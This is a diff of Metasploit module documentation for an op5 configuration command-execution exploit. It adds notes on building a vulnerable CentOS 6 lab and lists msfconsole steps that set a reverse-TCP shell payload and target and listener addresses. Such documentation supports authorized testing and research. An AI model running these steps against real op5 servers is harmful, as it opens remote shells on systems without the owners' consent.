+### Creating A Testing Environment
+
+Just a few quick notes on setting up a vulnerable lab with this software.
+
+  1. The vulnerable version only installs on CentOS 6.x (author used 6.0 final)
+  2. Within `php.ini`, `date.timezone = "America/New York"` to `date.timezone = "America/New_York"` if you get php errors
+  3. You may need to register for a free license via an email challenge/verification
+
 ## Verification Steps
 
   1. Install the software, RHEL/CENTOS required (tested on CentOS 6)
   2. Start msfconsole
-  3. Do: ```use exploit/linux/http/op5_config_exec ```
+  3. Do: ```use exploit/linux/http/op5_config_exec```
   4. Do: ```set payload linux/x86/shell/reverse_tcp```
   5. Do: ```set rhost 192.168.2.31```
   6. Do: ```set lhost 192.168.2.229```
